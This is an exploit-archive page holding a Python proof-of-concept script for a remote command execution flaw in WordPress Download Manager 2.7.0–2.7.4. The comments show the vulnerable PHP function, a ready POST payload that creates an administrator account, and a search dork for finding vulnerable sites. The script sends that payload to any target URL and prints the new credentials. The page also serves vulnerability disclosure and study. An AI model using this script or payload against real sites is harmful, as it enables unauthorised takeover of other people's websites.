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WordPress Download Manager 2.7.4 Remote Command Execution

WordPress Download Manager 2.7.4 Remote Command Execution
Posted Dec 14, 2014
Authored by Claudio Viviani

WordPress Download Manager versions 2.7.0 through 2.7.4 suffer from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 34ddb275d5055cb3a01743e4fca6a4ffb4537f87c1b95c998437a4e5e1c60732

WordPress Download Manager 2.7.4 Remote Command Execution

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#!/usr/bin/python
#
# Exploit Name: Wordpress Download Manager 2.7.0-2.7.4 Remote Command Execution
#
# Vulnerability discovered by SUCURI TEAM (http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html)
#
# Exploit written by Claudio Viviani
#
#
# 2014-12-03: Discovered vulnerability
# 2014-12-04: Patch released (2.7.5)
#
# Video Demo: https://www.youtube.com/watch?v=rIhF03ixXFk
#
# --------------------------------------------------------------------
#
# The vulnerable function is located on "/download-manager/wpdm-core.php" file:
#
# function wpdm_ajax_call_exec()
# {
# if (isset($_POST['action']) && $_POST['action'] == 'wpdm_ajax_call') {
# if (function_exists($_POST['execute']))
# call_user_func($_POST['execute'], $_POST);
# else
# echo "function not defined!";
# die();
# }
# }
#
# Any user from any post/page can call wpdm_ajax_call_exec() function (wp hook).
# wpdm_ajax_call_exec() call functions by call_user_func() through POST data:
#
# if (function_exists($_POST['execute']))
# call_user_func($_POST['execute'], $_POST);
# else
# ...
# ...
# ...
#
# $_POST data needs to be an array
#
#
# The wordpress function wp_insert_user is perfect:
#
# http://codex.wordpress.org/Function_Reference/wp_insert_user
#
# Description
#
# Insert a user into the database.
#
# Usage
#
# <?php wp_insert_user( $userdata ); ?>
#
# Parameters
#
# $userdata
# (mixed) (required) An array of user data, stdClass or WP_User object.
# Default: None
#
#
#
# Evil POST Data (Add new Wordpress Administrator):
#
# action=wpdm_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator
#
# ---------------------------------------------------------------------
#
# Dork google: index of "wordpress-download"
#
# Tested on Wordpress Download Manager from 2.7.0 to 2.7.4 version with BackBox 3.x and python 2.6
#
# Http connection
import urllib, urllib2, socket
#
import sys
# String manipulator
import string, random
# Args management
import optparse

# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url

# Check if file exists and has readable
def checkfile(file):
if not os.path.isfile(file) and not os.access(file, os.R_OK):
print '[X] '+file+' file is missing or not readable'
sys.exit(1)
else:
return file

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

banner = """
___ ___ __
| Y .-----.----.--| .-----.----.-----.-----.-----.
|. | | _ | _| _ | _ | _| -__|__ --|__ --|
|. / \ |_____|__| |_____| __|__| |_____|_____|_____|
|: | ______ |__| __ __
|::.|:. | | _ \ .-----.--.--.--.-----| .-----.---.-.--| |
`--- ---' |. | \| _ | | | | | | _ | _ | _ |
|. | |_____|________|__|__|__|_____|___._|_____|
|: 1 / ___ ___
|::.. . / | Y .---.-.-----.---.-.-----.-----.----.
`------' |. | _ | | _ | _ | -__| _|
|. \_/ |___._|__|__|___._|___ |_____|__|
|: | | |_____|
|::.|:. |
`--- ---'
Wordpress Download Manager
R3m0t3 C0d3 Ex3cut10n
(Add WP Admin)
v2.7.0-2.7.4

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
)
commandList.add_option('--timeout', action="store", default=10, type="int",
help="[Timeout Value] - Default 10",
)

options, remainder = commandList.parse_args()

# Check args
if not options.target:
print(banner)
commandList.print_help()
sys.exit(1)

host = checkurl(options.target)
timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

username = id_generator()
pwd = id_generator()

body = urllib.urlencode({'action' : 'wpdm_ajax_call',
'execute' : 'wp_insert_user',
'user_login' : username,
'user_pass' : pwd,
'role' : 'administrator'})

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}

print "[+] Tryng to connect to: "+host
try:
req = urllib2.Request(host+"/", body, headers)
response = urllib2.urlopen(req)
html = response.read()

if html == "":
print("[!] Account Added")
print("[!] Location: "+host+"/wp-login.php")
print("[!] Username: "+username)
print("[!] Password: "+pwd)
else:
print("[X] Exploitation Failed :(")

except urllib2.HTTPError as e:
print("[X] "+str(e))
except urllib2.URLError as e:
print("[X] Connection Error: "+str(e))

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